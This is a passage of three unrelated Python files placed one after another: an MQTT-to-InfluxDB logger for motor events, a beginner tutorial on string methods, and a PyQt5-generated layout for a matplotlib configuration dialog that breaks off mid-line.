elif event_type == "motor_b":
event_type = "motor"
event_payload = int(msg.payload)
event_tags = {
"motor": "B"
}
else:
event_type = None
if event_type is not None:
send_to_influxdb(event_type, event_tags, event_payload)
def send_to_influxdb(type, tags, payload):
json_body = [
{
"measurement": type,
"fields": {
"value": payload
}
}
]
if tags is not None:
json_body[0]["tags"] = tags
print(json_body)
influxdb_client.write_points(json_body)
def switch_influxdb(db):
databases = influxdb_client.get_list_database()
if len(list(filter(lambda x: x["name"] == db, databases))) == 0:
print("Creating InfluxDB database " + db)
influxdb_client.create_database(db)
print("Using InfluxDB database " + db)
influxdb_client.switch_database(db)
print("Connecting to InfluxDB...")
influxdb_client = InfluxDBClient("localhost", 8086)
switch_influxdb("guitar")
print("Connecting to Mosquitto...")
mqttc = mqtt.Client()
mqttc.on_connect = on_connect
mqttc.on_message = on_message
mqttc.connect("localhost", 1883)
mqttc.loop_forever()
|
print('Hello World')
message = 'Hello World'
print(message)
print("Bobby's World")
print('Bobby\'s World')
my_message = """Bobby's World was a good
cartoon in the 1990s"""
print(my_message)
print(len(message))
print(message[0])
print(message[10])
print(message[0:5])
print(message[:5])
print(message[6:])
print(message.lower())
print(message.upper())
print(message.count('Hello'))
print(message.count('l'))
print(message.find('World'))
print(message.find('Universe'))
message = 'Hello World'
new_message = message.replace('World', 'Universe')
print(new_message)
message = message.replace('World', 'Bangladesh')
print(message)
greeting = 'Hello'
name = 'Micheal'
message = greeting + ', ' + name + '. Welcome!'
print(message)
message = '{}, {}. Welcome!'.format(greeting, name)
print(message)
message = f'{greeting}, {name.upper()}. Welcome!'
print(message)
print(dir(name))
print(help(str))
print(help(str.lower))
|
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'ui_mplconfig.ui'
#
# Created by: PyQt5 UI code generator 5.14.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Dialog(object):
def setupUi(self, Dialog):
Dialog.setObjectName("Dialog")
Dialog.resize(1057, 356)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(Dialog.sizePolicy().hasHeightForWidth())
Dialog.setSizePolicy(sizePolicy)
Dialog.setMinimumSize(QtCore.QSize(0, 0))
Dialog.setStyleSheet(
" QToolButton#grid_color_btn, #ticks_color_btn, #border_color_btn, #bkgd_color_btn, #bar_color_btn, #ebline_color_btn, #line_color_btn, #mk_facecolor_btn, #mk_edgecolor_btn, #eb_line_color_btn, #eb_mk_facecolor_btn, #eb_mk_edgecolor_btn {\n"
" border-color: #F8F7F6;\n"
" border-radius: 1px;\n"
" background-color: #888A85;\n"
" margin: 4px;\n"
" qproperty-iconSize: 12px;\n"
"}\n"
"QToolButton#grid_color_btn:pressed, QToolButton#ticks_color_btn:pressed,\n"
"QToolButton#border_color_btn:pressed,\n"
"QToolButton#bkgd_color_btn:pressed,\n"
"QToolButton#bar_color_btn:pressed,\n"
"QToolButton#ebline_color_btn:pressed,\n"
"QToolButton#line_color_btn:pressed,\n"
"QToolButton#mk_facecolor_btn:pressed,\n"
"QToolButton#mk_edgecolor_btn:pressed,\n"
"QToolButton#eb_mk_edgecolor_btn:pressed,\n"
"QToolButton#eb_mk_facecolor_btn:pressed,\n"
"QToolButton#eb_line_color_btn:pressed {\n"
" background-color: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #DADBDE, stop: 1 #F6F7FA);\n"
"}\n"
"\n"
"QTabBar::tab::disabled {width: 0; height: 0; margin: 0; padding: 0; border: none;}"
)
Dialog.setSizeGripEnabled(True)
Dialog.setModal(False)
self.gridLayout_3 = QtWidgets.QGridLayout(Dialog)
self.gridLayout_3.setContentsMargins(4, 4, 4, 4)
self.gridLayout_3.setSpacing(4)
self.gridLayout_3.setObjectName("gridLayout_3")
self.config_tabWidget = TabWidget(Dialog)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.config_tabWidget.sizePolicy().hasHeightForWidth())
self.config_tabWidget.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setItalic(False)
self.config_tabWidget.setFont(font)
self.config_tabWidget.setTabPosition(QtWidgets.QTabWidget.West)
self.config_tabWidget.setTabShape(QtWidgets.QTabWidget.Rounded)
self.config_tabWidget.setDocumentMode(True)
self.config_tabWidget.setTabsClosable(False)
self.config_tabWidget.setMovable(False)
self.config_tabWidget.setTabBarAutoHide(False)
self.config_tabWidget.setObjectName("config_tabWidget")
self.figure_tab = QtWidgets.QWidget()
self.figure_tab.setObjectName("figure_tab")
self.gridLayout_6 = QtWidgets.QGridLayout(self.figure_tab)
self.gridLayout_6.setContentsMargins(6, 12, 6, 6)
self.gridLayout_6.setSpacing(4)
self.gridLayout_6.setObjectName("gridLayout_6")
self.horizontalLayout_11 = QtWidgets.QHBoxLayout()
self.horizontalLayout_11.setSpacing(4)
self.horizontalLayout_11.setObjectName("horizontalLayout_11")
self.label_42 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_42.sizePolicy().hasHeightForWidth())
self.label_42.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setUnderline(False)
self.label_42.setFont(font)
self.label_42.setObjectName("label_42")
self.horizontalLayout_11.addWidget(self.label_42)
self.xaxis_scale_cbb = QtWidgets.QComboBox(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(1)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xaxis_scale_cbb.sizePolicy().hasHeightForWidth())
self.xaxis_scale_cbb.setSizePolicy(sizePolicy)
self.xaxis_scale_cbb.setObjectName("xaxis_scale_cbb")
self.xaxis_scale_cbb.addItem("")
self.xaxis_scale_cbb.addItem("")
self.xaxis_scale_cbb.addItem("")
self.xaxis_scale_cbb.addItem("")
self.horizontalLayout_11.addWidget(self.xaxis_scale_cbb)
self.label_41 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_41.sizePolicy().hasHeightForWidth())
self.label_41.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setUnderline(False)
self.label_41.setFont(font)
self.label_41.setObjectName("label_41")
self.horizontalLayout_11.addWidget(self.label_41)
self.yaxis_scale_cbb = QtWidgets.QComboBox(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(1)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.yaxis_scale_cbb.sizePolicy().hasHeightForWidth())
self.yaxis_scale_cbb.setSizePolicy(sizePolicy)
self.yaxis_scale_cbb.setObjectName("yaxis_scale_cbb")
self.yaxis_scale_cbb.addItem("")
self.yaxis_scale_cbb.addItem("")
self.yaxis_scale_cbb.addItem("")
self.yaxis_scale_cbb.addItem("")
self.horizontalLayout_11.addWidget(self.yaxis_scale_cbb)
self.gridLayout_6.addLayout(self.horizontalLayout_11, 4, 2, 1, 1)
self.label_10 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_10.sizePolicy().hasHeightForWidth())
self.label_10.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_10.setFont(font)
self.label_10.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_10.setObjectName("label_10")
self.gridLayout_6.addWidget(self.label_10, 1, 0, 1, 1)
self.horizontalLayout_20 = QtWidgets.QHBoxLayout()
self.horizontalLayout_20.setContentsMargins(-1, -1, 0, -1)
self.horizontalLayout_20.setSpacing(4)
self.horizontalLayout_20.setObjectName("horizontalLayout_20")
self.label_18 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_18.sizePolicy().hasHeightForWidth())
self.label_18.setSizePolicy(sizePolicy)
self.label_18.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
| QtCore.Qt.AlignVCenter)
self.label_18.setObjectName("label_18")
self.horizontalLayout_20.addWidget(self.label_18)
self.fig_xlabel_lineEdit = QtWidgets.QLineEdit(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(1)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.fig_xlabel_lineEdit.sizePolicy().hasHeightForWidth())
self.fig_xlabel_lineEdit.setSizePolicy(sizePolicy)
self.fig_xlabel_lineEdit.setText("")
self.fig_xlabel_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.fig_xlabel_lineEdit.setPlaceholderText("")
self.fig_xlabel_lineEdit.setObjectName("fig_xlabel_lineEdit")
self.horizontalLayout_20.addWidget(self.fig_xlabel_lineEdit)
self.label_11 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_11.sizePolicy().hasHeightForWidth())
self.label_11.setSizePolicy(sizePolicy)
self.label_11.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
| QtCore.Qt.AlignVCenter)
self.label_11.setObjectName("label_11")
self.horizontalLayout_20.addWidget(self.label_11)
self.fig_ylabel_lineEdit = QtWidgets.QLineEdit(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(1)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.fig_ylabel_lineEdit.sizePolicy().hasHeightForWidth())
self.fig_ylabel_lineEdit.setSizePolicy(sizePolicy)
self.fig_ylabel_lineEdit.setText("")
self.fig_ylabel_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.fig_ylabel_lineEdit.setPlaceholderText("")
self.fig_ylabel_lineEdit.setObjectName("fig_ylabel_lineEdit")
self.horizontalLayout_20.addWidget(self.fig_ylabel_lineEdit)
self.hide_xylabel_chkbox = QtWidgets.QCheckBox(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.hide_xylabel_chkbox.sizePolicy().hasHeightForWidth())
self.hide_xylabel_chkbox.setSizePolicy(sizePolicy)
self.hide_xylabel_chkbox.setObjectName("hide_xylabel_chkbox")
self.horizontalLayout_20.addWidget(self.hide_xylabel_chkbox)
self.xy_label_font_btn = QtWidgets.QToolButton(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xy_label_font_btn.sizePolicy().hasHeightForWidth())
self.xy_label_font_btn.setSizePolicy(sizePolicy)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(":/icons/choose-font.png"),
QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.xy_label_font_btn.setIcon(icon)
self.xy_label_font_btn.setIconSize(QtCore.QSize(24, 24))
self.xy_label_font_btn.setAutoRaise(True)
self.xy_label_font_btn.setObjectName("xy_label_font_btn")
self.horizontalLayout_20.addWidget(self.xy_label_font_btn)
self.gridLayout_6.addLayout(self.horizontalLayout_20, 1, 2, 1, 1)
self.label = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label.sizePolicy().hasHeightForWidth())
self.label.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label.setObjectName("label")
self.gridLayout_6.addWidget(self.label, 2, 0, 1, 1)
self.horizontalLayout_2 = QtWidgets.QHBoxLayout()
self.horizontalLayout_2.setContentsMargins(-1, 0, -1, -1)
self.horizontalLayout_2.setSpacing(4)
self.horizontalLayout_2.setObjectName("horizontalLayout_2")
self.fig_title_lineEdit = QtWidgets.QLineEdit(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.fig_title_lineEdit.sizePolicy().hasHeightForWidth())
self.fig_title_lineEdit.setSizePolicy(sizePolicy)
self.fig_title_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.fig_title_lineEdit.setPlaceholderText("")
self.fig_title_lineEdit.setObjectName("fig_title_lineEdit")
self.horizontalLayout_2.addWidget(self.fig_title_lineEdit)
self.hide_title_chkbox = QtWidgets.QCheckBox(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.hide_title_chkbox.sizePolicy().hasHeightForWidth())
self.hide_title_chkbox.setSizePolicy(sizePolicy)
self.hide_title_chkbox.setObjectName("hide_title_chkbox")
self.horizontalLayout_2.addWidget(self.hide_title_chkbox)
self.title_font_btn = QtWidgets.QToolButton(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.title_font_btn.sizePolicy().hasHeightForWidth())
self.title_font_btn.setSizePolicy(sizePolicy)
self.title_font_btn.setIcon(icon)
self.title_font_btn.setIconSize(QtCore.QSize(24, 24))
self.title_font_btn.setPopupMode(QtWidgets.QToolButton.DelayedPopup)
self.title_font_btn.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly)
self.title_font_btn.setAutoRaise(True)
self.title_font_btn.setArrowType(QtCore.Qt.NoArrow)
self.title_font_btn.setObjectName("title_font_btn")
self.horizontalLayout_2.addWidget(self.title_font_btn)
self.gridLayout_6.addLayout(self.horizontalLayout_2, 0, 2, 1, 1)
self.label_25 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_25.sizePolicy().hasHeightForWidth())
self.label_25.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_25.setFont(font)
self.label_25.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_25.setObjectName("label_25")
self.gridLayout_6.addWidget(self.label_25, 3, 0, 1, 1)
self.label_40 = QtWidgets.QLabel(self.figure_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_40.setFont(font)
self.label_40.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_40.setObjectName("label_40")
self.gridLayout_6.addWidget(self.label_40, 4, 0, 1, 1)
self.horizontalLayout_10 = QtWidgets.QHBoxLayout()
self.horizontalLayout_10.setSpacing(4)
self.horizontalLayout_10.setObjectName("horizontalLayout_10")
self.legend_on_chkbox = QtWidgets.QCheckBox(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.legend_on_chkbox.sizePolicy().hasHeightForWidth())
self.legend_on_chkbox.setSizePolicy(sizePolicy)
self.legend_on_chkbox.setObjectName("legend_on_chkbox")
self.horizontalLayout_10.addWidget(self.legend_on_chkbox)
spacerItem = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_10.addItem(spacerItem)
self.label_24 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_24.sizePolicy().hasHeightForWidth())
self.label_24.setSizePolicy(sizePolicy)
self.label_24.setAlignment(QtCore.Qt.AlignCenter)
self.label_24.setObjectName("label_24")
self.horizontalLayout_10.addWidget(self.label_24)
self.legend_loc_cbb = QtWidgets.QComboBox(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.legend_loc_cbb.sizePolicy().hasHeightForWidth())
self.legend_loc_cbb.setSizePolicy(sizePolicy)
self.legend_loc_cbb.setObjectName("legend_loc_cbb")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.legend_loc_cbb.addItem("")
self.horizontalLayout_10.addWidget(self.legend_loc_cbb)
self.gridLayout_6.addLayout(self.horizontalLayout_10, 3, 2, 1, 1)
self.label_13 = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_13.sizePolicy().hasHeightForWidth())
self.label_13.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_13.setFont(font)
self.label_13.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_13.setObjectName("label_13")
self.gridLayout_6.addWidget(self.label_13, 0, 0, 1, 1)
self.horizontalLayout_3 = QtWidgets.QHBoxLayout()
self.horizontalLayout_3.setSpacing(4)
self.horizontalLayout_3.setObjectName("horizontalLayout_3")
self.autoScale_chkbox = QtWidgets.QCheckBox(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.autoScale_chkbox.sizePolicy().hasHeightForWidth())
self.autoScale_chkbox.setSizePolicy(sizePolicy)
self.autoScale_chkbox.setChecked(True)
self.autoScale_chkbox.setObjectName("autoScale_chkbox")
self.horizontalLayout_3.addWidget(self.autoScale_chkbox)
self.gridLayout_5 = QtWidgets.QGridLayout()
self.gridLayout_5.setContentsMargins(-1, -1, 0, -1)
self.gridLayout_5.setSpacing(4)
self.gridLayout_5.setObjectName("gridLayout_5")
self.xmin_lbl = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xmin_lbl.sizePolicy().hasHeightForWidth())
self.xmin_lbl.setSizePolicy(sizePolicy)
self.xmin_lbl.setAlignment(QtCore.Qt.AlignCenter)
self.xmin_lbl.setObjectName("xmin_lbl")
self.gridLayout_5.addWidget(self.xmin_lbl, 0, 0, 1, 1)
self.xmin_lineEdit = QtWidgets.QLineEdit(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xmin_lineEdit.sizePolicy().hasHeightForWidth())
self.xmin_lineEdit.setSizePolicy(sizePolicy)
self.xmin_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.xmin_lineEdit.setObjectName("xmin_lineEdit")
self.gridLayout_5.addWidget(self.xmin_lineEdit, 0, 1, 1, 1)
self.xmax_lbl = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xmax_lbl.sizePolicy().hasHeightForWidth())
self.xmax_lbl.setSizePolicy(sizePolicy)
self.xmax_lbl.setAlignment(QtCore.Qt.AlignCenter)
self.xmax_lbl.setObjectName("xmax_lbl")
self.gridLayout_5.addWidget(self.xmax_lbl, 0, 2, 1, 1)
self.xmax_lineEdit = QtWidgets.QLineEdit(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xmax_lineEdit.sizePolicy().hasHeightForWidth())
self.xmax_lineEdit.setSizePolicy(sizePolicy)
self.xmax_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.xmax_lineEdit.setObjectName("xmax_lineEdit")
self.gridLayout_5.addWidget(self.xmax_lineEdit, 0, 3, 1, 1)
self.ymin_lbl = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ymin_lbl.sizePolicy().hasHeightForWidth())
self.ymin_lbl.setSizePolicy(sizePolicy)
self.ymin_lbl.setAlignment(QtCore.Qt.AlignCenter)
self.ymin_lbl.setObjectName("ymin_lbl")
self.gridLayout_5.addWidget(self.ymin_lbl, 1, 0, 1, 1)
self.ymin_lineEdit = QtWidgets.QLineEdit(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ymin_lineEdit.sizePolicy().hasHeightForWidth())
self.ymin_lineEdit.setSizePolicy(sizePolicy)
self.ymin_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.ymin_lineEdit.setObjectName("ymin_lineEdit")
self.gridLayout_5.addWidget(self.ymin_lineEdit, 1, 1, 1, 1)
self.ymax_lbl = QtWidgets.QLabel(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ymax_lbl.sizePolicy().hasHeightForWidth())
self.ymax_lbl.setSizePolicy(sizePolicy)
self.ymax_lbl.setAlignment(QtCore.Qt.AlignCenter)
self.ymax_lbl.setObjectName("ymax_lbl")
self.gridLayout_5.addWidget(self.ymax_lbl, 1, 2, 1, 1)
self.ymax_lineEdit = QtWidgets.QLineEdit(self.figure_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ymax_lineEdit.sizePolicy().hasHeightForWidth())
self.ymax_lineEdit.setSizePolicy(sizePolicy)
self.ymax_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.ymax_lineEdit.setObjectName("ymax_lineEdit")
self.gridLayout_5.addWidget(self.ymax_lineEdit, 1, 3, 1, 1)
self.horizontalLayout_3.addLayout(self.gridLayout_5)
self.gridLayout_6.addLayout(self.horizontalLayout_3, 2, 2, 1, 1)
spacerItem1 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.gridLayout_6.addItem(spacerItem1, 5, 2, 1, 1)
self.label_10.raise_()
self.label_13.raise_()
self.label_25.raise_()
self.label_40.raise_()
self.label.raise_()
self.config_tabWidget.addTab(self.figure_tab, "")
self.style_tab = QtWidgets.QWidget()
self.style_tab.setObjectName("style_tab")
self.gridLayout_7 = QtWidgets.QGridLayout(self.style_tab)
self.gridLayout_7.setContentsMargins(6, 12, 6, 6)
self.gridLayout_7.setSpacing(4)
self.gridLayout_7.setObjectName("gridLayout_7")
self.horizontalLayout_5 = QtWidgets.QHBoxLayout()
self.horizontalLayout_5.setSpacing(4)
self.horizontalLayout_5.setObjectName("horizontalLayout_5")
self.label_12 = QtWidgets.QLabel(self.style_tab)
self.label_12.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
| QtCore.Qt.AlignVCenter)
self.label_12.setObjectName("label_12")
self.horizontalLayout_5.addWidget(self.label_12)
self.figWidth_lineEdit = QtWidgets.QLineEdit(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.figWidth_lineEdit.sizePolicy().hasHeightForWidth())
self.figWidth_lineEdit.setSizePolicy(sizePolicy)
self.figWidth_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.figWidth_lineEdit.setObjectName("figWidth_lineEdit")
self.horizontalLayout_5.addWidget(self.figWidth_lineEdit)
self.label_14 = QtWidgets.QLabel(self.style_tab)
self.label_14.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
| QtCore.Qt.AlignVCenter)
self.label_14.setObjectName("label_14")
self.horizontalLayout_5.addWidget(self.label_14)
self.figHeight_lineEdit = QtWidgets.QLineEdit(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.figHeight_lineEdit.sizePolicy().hasHeightForWidth())
self.figHeight_lineEdit.setSizePolicy(sizePolicy)
self.figHeight_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.figHeight_lineEdit.setObjectName("figHeight_lineEdit")
self.horizontalLayout_5.addWidget(self.figHeight_lineEdit)
self.label_15 = QtWidgets.QLabel(self.style_tab)
self.label_15.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
| QtCore.Qt.AlignVCenter)
self.label_15.setObjectName("label_15")
self.horizontalLayout_5.addWidget(self.label_15)
self.figDpi_lineEdit = QtWidgets.QLineEdit(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.figDpi_lineEdit.sizePolicy().hasHeightForWidth())
self.figDpi_lineEdit.setSizePolicy(sizePolicy)
self.figDpi_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.figDpi_lineEdit.setObjectName("figDpi_lineEdit")
self.horizontalLayout_5.addWidget(self.figDpi_lineEdit)
self.label_69 = QtWidgets.QLabel(self.style_tab)
self.label_69.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft
